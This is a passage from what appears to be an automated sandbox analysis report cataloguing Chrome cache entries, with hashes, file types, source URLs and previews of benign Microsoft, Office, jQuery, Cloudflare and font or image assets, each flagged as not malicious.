Encrypted:	false
SSDEEP:	12288:7B7J02MzM8uOZuft67QhY3HZuppyR3l6Pjk48XOIWoXZQikJSPU7NLRlg:s2MzOOZulaQhY39xMrhQWoXaiwSc7/y
MD5:	A907814C618999761488552FF59ABE52
SHA1:	9328DD8911EFD581DAF9F18649B687C683D93787
SHA-256:	A85710F22BD11B8F228D8B7387F87E5A066FF7CAB256D9719D01881A00FD7CE8
SHA-512:	8982B24CFC82EBD3A6E9DC0C6996B2E04963F60A248DF3EA1C89EFBA52D49E2A6660B0321F4A217BA8778B1D301C43C91598D450D22451EC0F393A38EB8786A4
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...1..........Y.....pHYs.................sRGB.........gAMA......a.....IDATx...=.vG.&.E..\|O...E.@. .P.CC#./.<.C{%S...B.d6...\|..]o..b8.Z..5h-.......E.{>{.N......WF....V..p...<....'3.#..h.....?5..<.8..\[\9....oB.. ...8c>.........".~.....{......,w.y-...Q..A..9..#<....M2K..}.,/.x.CiW2U..G...@.t.s."...k%}.4f.F:...C.-Q.#u.?R..."..y../...;~.Wxq}K. .n.Vr.p.W..W=.G..G.n...i...\|..E..,.?........]9.b..}...-../8.">...U\..6..-..i...xo.........e..u.=.............~.\|.n...JZ.M.A_.._.e..7...L........S...O./.\|S..\|."o...........]\.q].jI.}.5.#M).............o....T..2.,......o.j...;...=.KY..t..e............w...W.... .............A..?.m\.=.../...y.....K..6.{._.._p...?.........?.s..?..\................w..O~...~..?..?k?...z...~k.\|..Q.-.@)..o.i.~.a.f.w..>.....O<...+../...o.._....._.j.oso.t^.R..R..bj..M7.t.M7.t.M7.t.M7...D.6.}..g....'...N...../.l......2Wi_..u../~..W...........?w.o+y.tZ.wX.sU..?tL...g....T..j.mG?..C.........k..}..K...5.5.3=.s-.r.._....

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65439)
Category:	downloaded
Size (bytes):	90677
Entropy (8bit):	5.331203510001561
Encrypted:	false
SSDEEP:	768:FVEDx3ySKZOP00d5TjMSYzSRRM1d0YjSRpUKHHacTItx7vtn1yC0JalF1rmq6Llb:v+0Z9yFrGi8SRGfyC0JalFx3gKa7
MD5:	57FD0FB79B8289945CA246DE0908D270
SHA1:	7FC9AB444778E83D566F35102D604969ED50576D
SHA-256:	EB327424AA27D47E4499187303774F8F22557359DB3C6BB583E033E07DD0B337
SHA-512:	99F654C722C50C08BB1C68A18BF6EED1FDA1E4CCF6D30BE65BFA6F24B21BA2F1995870C8CF54E820655B41497716DDFDD7487E0A33C121B322F705FA37E5DA09
Malicious:	false
Reputation:	low
URL:	https://logincdn.msftauth.net/shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js
Preview:	/! For license information please see oneds-analytics-js_077217740c853b5d4fe8.js.LICENSE.txt /."use strict";(self.webpackChunk_msidentity_sisu_msa=self.webpackChunk_msidentity_sisu_msa\|\|[]).push([[471],{2278:function(n,e,t){t.r(e),t.d(e,{AppInsightsCore:function(){return qo},ApplicationInsights:function(){return ja},BE_PROFILE:function(){return Vo},BaseTelemetryPlugin:function(){return di},Cloud:function(){return Vi},CoreUtils:function(){return Hr},Device:function(){return Xi},DiagnosticLogger:function(){return et},EventLatency:function(){return Ga},EventPersistence:function(){return Qa},EventsDiscardedReason:function(){return Ho},InternalAppInsightsCore:function(){return Ko},Loc:function(){return $i},LoggingSeverity:function(){return Wa},MinChannelPriorty:function(){return $a},NRT_PROFILE:function(){return Wo},NotificationManager:function(){return Uo},PostChannel:function(){return qa},PropertiesPlugin:function(){return Po},RT_PROFILE:function(){return jo},Session:function(){return B

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5035), with CRLF line terminators
Category:	downloaded
Size (bytes):	5092
Entropy (8bit):	4.968293364119024
Encrypted:	false
SSDEEP:	96:1MN96aN5N961N9ahsUAdp7o2N96wrolN968s7RJzmoBRZzQzgDa:8999q9gZA3r9U9ZCJz3RxQzgDa
MD5:	1753922504BFA99A9A89B5130CB6FD69
SHA1:	B496EEC014B196044E979FDC3794B2FA18DCD5AA
SHA-256:	372CA0FA4FB0365BD42F3E048CA4CCEF0D8E386D1D08DFBFF8F7E5E81FCDF54F
SHA-512:	45EDAA7A313E97DA4C0630CBEC38B1333F66D5ADB989D20FF4C7D2D1489820C4033B388D0E86018A4AC00E62E4128B75E649B61A114B1FB242E4E34034E2C4B7
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/workbox-v3.6.2/workbox-strategies.prod.js
Preview:	this.workbox=this.workbox\|\|{},this.workbox.strategies=function(e,t,s){"use strict";try{self.workbox.v["workbox:strategies:3.6.3"]=1}catch(e){}class r{constructor(t={}){this.e=e.cacheNames.getRuntimeName(t.cacheName),this.t=t.plugins\|\|[],this.s=t.fetchOptions\|\|null,this.r=t.matchOptions\|\|null}handle({event:e}){var t=this;return babelHelpers.asyncToGenerator(function(){return t.makeRequest({event:e,request:e.request})})()}makeRequest({event:e,request:s}){var r=this;return babelHelpers.asyncToGenerator(function(){"string"==typeof s&&(s=new Request(s));let n,i=yield t.cacheWrapper.match({cacheName:r.e,request:s,event:e,matchOptions:r.r,plugins:r.t});if(!i)try{i=yield r.n(s,e)}catch(e){n=e}if(n)throw n;return i})()}n(e,r){var n=this;return babelHelpers.asyncToGenerator(function*(){const i=yield s.fetchWrapper.fetch({request:e,event:r,fetchOptions:n.s,plugins:n.t}),u=i.clone(),l=t.cacheWrapper.put({cacheName:n.e,request:e,response:u,event:r,plugins:n.t});if(r)try{r.waitUntil(l)}catch(e){}r

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47691)
Category:	downloaded
Size (bytes):	47692
Entropy (8bit):	5.401573598696506
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHBzZBF6gmXLSOzQDjdadOQbk6sgEvxm7b39tobLKZUvnw81KZLGcD:IGJWHBzZBF6xbGeLsVvQ33FUvDW
MD5:	B0B3774E70E752266B4CF190E6D95053
SHA1:	03823D33D8C374DD69B66F1D75A5FC93D29967E1
SHA-256:	A9F0787E39291D7BCB873D0D514F1D2C8DB0256FD741C2ABC4D46A809254E141
SHA-512:	8060AA547C3F32930EC2A3786A6BB15054F396D8EAB238EA34E881C2EEAE0D013AF246FDDE85DA8A5BFC2690B1EB26E5138B45BAA28479264DB3BA458D4055A8
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2501 x 832, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1771981
Entropy (8bit):	7.988247142332494
Encrypted:	false
SSDEEP:	49152:4uB7Y0eaS7xe+q6frEduiPaUU48p5fUxGVPaUZUq:bVeaSdPfmtPhU48p54qaUZ3
MD5:	0E10BF7B4FD04ED50A4073604A728FEF
SHA1:	7773AC6F48BD27CED0F82FD58A45F2C923EF87A4
SHA-256:	361AF6EA15689C97588C78A27C25C38C789D9E68B9400AD48B114B05FC285662
SHA-512:	82430B2B1C62635B876CF652FC160F295AB9AEF84D65F310C71BBCD0D44EC6359AFC4FEB70E58CCC8A19F21A2FE2C292F9FF79887C4A17532D21D2835E1624B2
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/m365-copilot-centric-value-consumer-0e10bf7b4f.png
Preview:	.PNG........IHDR.......@.............pHYs.................sRGB.........gAMA......a....bIDATx....,[~...Z.Y...>..{..#Z...DJ....)..MQB........;.a.../..~..~.-.!*.pX. C...e..Hq....F..{...U.ki....2.j..$..8.~...UY.+W....:...s.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 12164, version 1.0
Category:	downloaded
Size (bytes):	12164
Entropy (8bit):	7.974502474637253
Encrypted:	false
SSDEEP:	192:H6HeldTaRsyn12Mg0UuCR3A6dTovEIZmiA6JWqNb6aNBPiGXoGJYrI8tTebCFFvK:aHevMsYHeeqcvpZmiA6JWwfXoIa1vpKF
MD5:	36AC9A2365173B647657AD829AE64FF0
SHA1:	F8966E2EE4C9CFE92B5843D8C27BB7BED98BDFC9
SHA-256:	633894CF845287F205F1B5BD26B7667DDA186695FCE3D789306F30C5FBDB14B5
SHA-512:	9F8C9EC9BB230D577BC751133040EF6FB78185C5310300A420E389879A7ABEE054095C60BA2A66C6FF3A7AC4FB59B7433A733FCEDDB72425D3AEB8229EF590FE
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semilight.woff2
Preview:	wOF2....../.......[.../#........................?FFTM..&..... .`..z......X.+.....6.$.... .....p..O5l[..n...8m.Q.l....d...S..Gk.U..#.S.T...#.....>y.s[t...b...r.....M..u......x......Yj........;...a.....wGH2K.......b.q..@/..Rp.v.................'.T.lA.d.,EED..j.W....kY...e._.......N.6...(.=..0....s.8...4.((..R.tkv.{Q..D....w.?#0.XvTD......8.. .,.......y.T....5..SBr.,h8.G.b..CQ.P...3L.4..~.k\|.X......+......mN..us7.Ksk..........\|......c8@.DF^.\|....!#.B.T..............2...d...2.9.=..@o.8H.2..".....V..C..{.........1.>.F....`....A.Q.:..'.#..zr.sT.P..3...K.'z.....<..L.%...V..y.i.4.;.Xv.1...N$@..n.1....._.\.x...x.x{..:..V.....[.@@..b.....@.9...-.9. :.,...,p...v..H...4..x.B..[.s..M7.X.ww............g....<...q;].'.....UUG.w....4)...Jg.Y.r65.fvn.6_7.....g.w......zU....M.RZV.M{F{.M.8._.)p.6.YwH..Ohk~0. .-.l....A..9g..sC..}m.4...C...QJ.vP._3H{......rwn.<..3I~.v.t.+..'K....@X`..)...........I!Y.B....j.]y>........... .`.5i..4./..../ ..T.fR.

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 973 x 675, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	279269
Entropy (8bit):	7.994566583539726
Encrypted:	true
SSDEEP:	3072:RiwpUTuOsjVbgT94HFlcTY+/+T8tDtnSTFaslpolHpMerO+lMbQfVwv6p1YH:XG+jB894HFGTVw8QgGbMY
MD5:	8548B8B68D33DBF376420E679FC84996
SHA1:	7A277E16B935833A6403DEAD1CF5A7661F20DB24
SHA-256:	CDFE0542BE718F847059F73ABC6EF56387109AB760D5530046F2EF9EDB25ED31
SHA-512:	AED4FD1D6EBACFBBECBCCAE8CF4F4F13319D355723CF16F830C315884FCDE9EDAA929E5EEF78A36006FC0412AB1224AF311906883BA7391DF7165D7F3D808E00
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............'?.k....pHYs.........&.:4....sRGB.........gAMA......a...BzIDATx...[...u...1...>..bU.b..)..).%9.":blK.,..0....v...@.h4........~k.../...:p.8.a'...u.,Z$-.WU...?g........"e.UG..<..^...c.o..E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-Z.h.E..-..'.E........^...D.....J..\|.9}........)}.zq..~..Y.O_........?.....=...}..s<..?....=.q{Vy....o\.=.~t.l~??......@;..s...

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27371)
Category:	downloaded
Size (bytes):	27520
Entropy (8bit):	5.440554696755682
Encrypted:	false
SSDEEP:	768:DRyHSZqoA5sZd8DQqPPxYkuky34Txf2FobG/T3WT3GiYl5LRT3TXVcU++JW5D15:D+o7JnjFoC7uedJq5
MD5:	00ADEBFBCDFA6483059A6F5A7AD70541
SHA1:	5B6C32F36D748C85B45736252418FEAD4BAA4776
SHA-256:	8E3E065948EDF18EB5CC132FED3B72199593A7E7C74950D5B88F80C8C52146FC
SHA-512:	39FED393395A6EA02778D50ECF22F73268684A8AE701C734C8EDD42F070131368669A17A02B0B3F2BAC9C5974D3C867036DC595780321050F4C8A60450205BB9
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/bundles/0.d7414ead63118c3553fa.chunk.v7.js
Preview:	/! For license information please see 0.d7414ead63118c3553fa.chunk.v7.js.LICENSE.txt /.(window.officehome_webpackJsonp=window.officehome_webpackJsonp\|\|[]).push([[0],{FaXh:function(t,e){e.read=function(t,e,r,n,o){var i,f,s=8o-n-1,u=(1<<s)-1,h=u>>1,a=-7,c=r?o-1:0,p=r?-1:1,l=t[e+c];for(c+=p,i=l&(1<<-a)-1,l>>=-a,a+=s;a>0;i=256i+t[e+c],c+=p,a-=8);for(f=i&(1<<-a)-1,i>>=-a,a+=n;a>0;f=256f+t[e+c],c+=p,a-=8);if(0===i)i=1-h;else{if(i===u)return f?NaN:1/0(l?-1:1);f+=Math.pow(2,n),i-=h}return(l?-1:1)fMath.pow(2,i-n)},e.write=function(t,e,r,n,o,i){var f,s,u,h=8i-o-1,a=(1<<h)-1,c=a>>1,p=23===o?Math.pow(2,-24)-Math.pow(2,-77):0,l=n?0:i-1,g=n?1:-1,y=e<0\|\|0===e&&1/e<0?1:0;for(e=Math.abs(e),isNaN(e)\|\|e===1/0?(s=isNaN(e)?1:0,f=a):(f=Math.floor(Math.log(e)/Math.LN2),e(u=Math.pow(2,-f))<1&&(f--,u=2),(e+=f+c>=1?p/u:pMath.pow(2,1-c))u>=2&&(f++,u/=2),f+c>=a?(s=0,f=a):f+c>=1?(s=(eu-1)Math.pow(2,o),f+=c):(s=eMath.pow(2,c-1)*Math.pow(2,o),f=0));o>=8;t[r+l]=255&s,l+=g,s/=256,o-=8);for(f=f<<o\|s,h+=

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1409 x 979, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1074513
Entropy (8bit):	7.992502130294777
Encrypted:	true
SSDEEP:	24576:Z5bdLk74D3xyaSraAjS7kyTxnkExgpDUPJ2NNu:ZHL9DhZSrbjSQy1mpQPJ2q
MD5:	86723A74CC0FCAD23D9BF25A8EC33CAC
SHA1:	24579C0CD153ED5B5856520E8B91FB2A61DEE8B3
SHA-256:	CC6DEB15D98EE0D2F63E0FB260700C6579394AB15BC09CBB4B11ED925F701EF7
SHA-512:	F2D60AC241146C08FF92AD548A111F5794321FBB04F70176D8187D38D89F7862D7F3D841DBA4C8138DA7C591897050040BC39EFE3CD4ACBFF1798ACF05E0AF82
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............Y.s....pHYs.................sRGB.........gAMA......a...d.IDATx.....v.U...].....lM.$.-....6...6.%.....Mwg.t:C..I_CV.v.Y!.......C.p...1I....c06x.F.%.%..?}.{j.....v..~..K.e.....3T...N.S..g...`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0.....`0..

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2609 x 470, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	713010
Entropy (8bit):	7.987989282294461
Encrypted:	false
SSDEEP:	12288:U/c+B7hHsXoxmtGQolRbB//k45VaX4P1g+7TX9r4FYyPxquW5:UFhOoeGQwRbB08E4P1gqN4FfP4uW5
MD5:	FA4FE5B56D9FAB46DB542559A3B83E37
SHA1:	87921556BC7E350DEF09A7CBC51465C52383428D
SHA-256:	9872BD2450803A2A52E862DE35CA6FA5F1684AC59174F73C7F80EADFC0B63002
SHA-512:	8E58F7075D015C0280DCF0845A4FD84498E738EA57232E56A152336B611E2681EFB19C5824A31203E84B92E0355AFBE2447AD3CF76AABA1B3DA431471DB4D8D4
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/more-apps-copilot-centric-mreb-fa4fe5b56d.png
Preview:	.PNG........IHDR...1.........<.9.....pHYs.................sRGB.........gAMA......a.....IDATx..O.uGr.Vu(K.lS$1..b.0.. ."..."..\|.d.u....,.d1...o...0...I...XY.Z.0....Hp..-K...._W...>............}...[.t..._....bfBdp.e..G)-.z...jT....v.62.rxo/.Z.U...t....6~.>.x..<.8.....-.....+.{.3.7..6..g.....4.....Z..;...Y..X/..yC...4....}..Jn.".ej.W<Sn#.3.......o.K.?/.d.C)_.....'...,.P.P.8o.f.+.?....Mu`..u.y.1..A..d..$y;a\|b.Ve.....,oWr.....{....\.U.2.j..4=...?c^.Z......z)....${M>+Yb^.Y.r....0...8N.../[.7.x#.{....+..<...yQF..i.s...._E.JV.a..wY..T.6n>N..-l...=..G^.g.=.Om.r..B=.\|.y.[..[.........u...~...g........._...Ch.;..m#..<.)._..................i..u.......).....=..Lk.v.....N..._.U...._.f..r........_.................L.7N...........v.........?...z..U.....;..........?.G.HnW.W.oy~...o.9..g..g......]..........G..o..V......o..F.}..Q........._}..~...v.g....'.\|b.y....M.6m.i.M.6m..{$..tj..>.L?..S.c..w..~../..B?...TF.:..>...'?.....-\|.=.M......?my.{.=Y.....w.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 286 x 41, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7115
Entropy (8bit):	7.963812060299321
Encrypted:	false
SSDEEP:	192:ESBW7OKnwRKKrPq0lxbF4vMU7YzO1gR3C2Wl2:DY7PSrLprUEF3CH2
MD5:	747D2C674F731EDFD2779D83C8532E24
SHA1:	C40A635C160D4CA763D8C86F560CB937A8E1090B
SHA-256:	CA13C3E1EC9B3484F3E6AF002F127C03DE8E5171E76D37A5749A3CD75D098B05
SHA-512:	ED821EAB2956895A140C55AE7F79668F8DBB55D54408251ADED0C57200D8AD04E40DFF95EEBA79D6D149FDF82FE77F21EEEBB235EE7BC12C84A6FF0DD3CB6691
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/officehub/images/content/images/unauth-refresh/store-buttons-747d2c674f.png
Preview:	.PNG........IHDR.......).......Fw....pHYs.................sRGB.........gAMA......a....`IDATx.........G.l.$...h..D..(.Jm..HZP.....%YS.d-Q....Fv!.`..y.s.}.;wf.sg.s?..y..=...\|..<.s.M.d..3...{.......sgIcL.......t..>../Y.d..ko.(..g.I.B.J....={Z......H...&o...-.X....;>s_Xr.../..pL.5j...&L.%.IJJ.8r..x....^.4h0.p..W.t.M;".....Uj.....[.y.fQE&q.>(. .r..7'.Y.G.&M....:thO.6$#^..;..\\|$.b....~.i.F...V../Y[..(`Z.l.4x..[....(....}..3$.8......>b...=..F.[.u..5.6l....Cbb...4(Ae..N.:....._..a.r.E5.......(....{.W_}%...\.re.... ..5k.Z.R.....?;.....Byx..Pa).n.........Q....G..{.....y.H6.`...s<....t.I.-.../g.y.\x.r.i.Y"....>....]Z2..n.M.V.Y.K..D...J.#:...]t.....3.\|..F.....9.cR...C."ER....+.~..G.;.<+.~P..\...G:..x..q.....o.bfp.UW.....~Xz..)D.V.(.....}...&...[.:.,..4.$.^{....W\!......n..\|..........7o../..9.h.G.....c...2e.-..&.+s..e).'O......E.1....S..:+V....I.:u.{....~.W_}U>..C...'.h..q.<.....~..g9.O..h.1c...n.....h....f..N{...mq.v..gXk.?..Y.

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17287), with no line terminators
Category:	dropped
Size (bytes):	17287
Entropy (8bit):	5.463258542337543
Encrypted:	false
SSDEEP:	384:omxPfBpi9L/a4MQOxRsWkFPnq7usVYwQJXeBNZfEMg:omxe9p3FPq7uFwQJXeBfsz
MD5:	CA5DC2D8D927A4332C1AA942BF32ED98
SHA1:	F6F930818D6120E7CC5BB1E3C344BC6D4B64E47B
SHA-256:	69F79D8AD7853233E83E304DAB1335B98DF61EAC2BC2391626CB0E38840E5EB3
SHA-512:	3B00455C5D6345B93A43CE285B560A97D3B922D51C265836C77E0943E19831AC2B1485B80A6617750438055C51B840BFCCE871F75797181D09C33280CEF9E0E1
Malicious:	false
Reputation:	low
Preview:	function _hX(a){return a?true:a==0\|\|a==false\|\|a==""}function _Du(a,b){return _hX(a)?a:b}function _J(a){return a instanceof Array}function _BD(a){return "function"._f0(typeof a,true)}function _F(a){return typeof a=="string"}function _BE(a){return _hX(a)&&_F(a)&&a!=""}function strOrDefault(a,b){return _BE(a)?a:b}function _A3(a){if(!_F(a))return "";if(a.lastIndexOf(".")<0)return "";return a.toLowerCase().substr(a.lastIndexOf(".")+1,a.length)}function _A2(a){return document.getElementById(a)}var $J={_cV:false,_b:function(c,a){var d=null;if("img"._f0(c)&&_hX(a)){var g=_A3(a.src);if("png"._f0(g,true)&&!$F._lM())c="span"}var b=d;if("input"._f0(c,true)&&_hX(a)&&(a.name\|\|a.type)){if(!$aE._j._f0(a.type)){var f=document.createElement("div");f.innerHTML='<input type="'+(a.type?a.type:"")+'" name="'+(a.name?a.name:"")+'" />';b=f.firstChild}else try{var e="<"+c;if(a.type)e+=' type="'+a.type+'"';if(a.name)e+=' name="'+a.name+'"';e+=">";b=document.createElement(e)}catch(h){b=d}if(_hX(b)){a.type=d;a.na

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1598 x 899, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1236532
Entropy (8bit):	7.99453807364983
Encrypted:	true
SSDEEP:	24576:3IR94Q7f3YaeokAGfdoICPLOHpob3i8/eCsjNKSOyP82Rx7BiVQFMqna:3IR9hz3OyedoZyHpyzer023BieKqa
MD5:	EAFC3935A3559F15248B9409658D978F
SHA1:	46242446924C4DB9208646689119EFACFF1C93FD
